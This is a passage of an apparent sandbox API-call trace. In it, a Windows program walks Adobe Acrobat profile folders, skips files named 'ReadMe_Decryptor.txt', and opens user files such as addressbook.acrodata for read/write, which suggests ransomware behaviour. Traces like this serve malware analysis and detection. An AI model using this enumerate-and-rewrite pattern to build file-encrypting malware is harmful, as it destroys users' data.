lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0045.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0045.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0045.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0045.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0045.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0045.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0045.245] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0045.245] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0045.245] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.246] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0045.246] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0045.246] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0045.246] lstrcmpW (lpString1="Collab", lpString2=".") returned 1 [0045.246] lstrcmpW (lpString1="Collab", lpString2="..") returned 1 [0045.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0045.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0045.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0045.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0045.246] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0045.349] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0045.349] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.351] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0045.351] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0045.351] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.351] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0045.351] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0045.351] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0045.351] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0045.351] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.351] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.351] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0045.351] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0045.351] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0045.351] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0045.351] lstrcmpW (lpString1="Forms", lpString2=".") returned 1 [0045.351] lstrcmpW (lpString1="Forms", lpString2="..") returned 1 [0045.351] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0045.352] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0045.352] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0045.352] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0045.352] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0045.352] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0045.352] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.352] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0045.352] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0045.352] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.352] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609178 [0045.352] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd6) returned 0x5ea660 [0045.352] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0045.352] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0045.352] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0045.352] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0045.352] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.352] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.353] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0045.353] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0045.353] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0045.353] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaScripts", cAlternateFileName="JAVASC~1")) returned 1 [0045.353] lstrcmpW (lpString1="JavaScripts", lpString2=".") returned 1 [0045.353] lstrcmpW (lpString1="JavaScripts", lpString2="..") returned 1 [0045.353] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0045.353] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0045.353] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd6) returned 0x5ea660 [0045.353] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0045.353] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0045.353] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.353] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0045.353] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0045.353] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0045.354] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0045.354] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.354] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0045.354] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0045.354] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.js", cAlternateFileName="")) returned 1 [0045.354] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 1 [0045.354] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0045.354] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.357] lstrcmpW (lpString1="glob.settings.js", lpString2="ReadMe_Decryptor.txt") returned -1 [0045.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0045.357] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18ef50 | out: lpFileSizeHigh=0x18ef50*=0x0) returned 0xa [0045.357] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x122, nNumberOfBytesToLockHigh=0x0) returned 1 [0045.357] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0045.357] CloseHandle (hObject=0x318) returned 1 [0045.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 0 [0045.358] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0045.358] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0045.358] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0045.358] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0045.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.js", cAlternateFileName="")) returned 1 [0045.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 1 [0045.358] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0045.358] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.358] lstrcmpW (lpString1="glob.settings.js", lpString2="ReadMe_Decryptor.txt") returned -1 [0045.358] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bfe8 [0045.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 0 [0045.358] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0045.358] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0045.358] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0045.358] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0045.358] lstrcmpW (lpString1="Security", lpString2=".") returned 1 [0045.358] lstrcmpW (lpString1="Security", lpString2="..") returned 1 [0045.358] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0045.358] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0045.358] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd6) returned 0x28d0920 [0045.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0045.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0045.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.359] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0045.359] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0045.359] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0045.359] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0045.359] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.359] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0045.359] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0045.359] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda8cdc00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8f3d60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x1517, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0045.359] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0045.359] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0045.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.359] lstrcmpW (lpString1="addressbook.acrodata", lpString2="ReadMe_Decryptor.txt") returned -1 [0045.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0045.360] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18ef50 | out: lpFileSizeHigh=0x18ef50*=0x0) returned 0x1517 [0045.360] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x162f, nNumberOfBytesToLockHigh=0x0) returned 1 [0045.360] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0045.360] ReadFile (in: hFile=0x318, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0045.362] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0045.363] ReadFile (in: hFile=0x318, lpBuffer=0x3780040, nNumberOfBytesToRead=0x1517, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18eed4*=0x1517, lpOverlapped=0x0) returned 1 [0045.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0045.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0045.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0045.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0045.377] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0045.381] GetLastError () returned 0x0 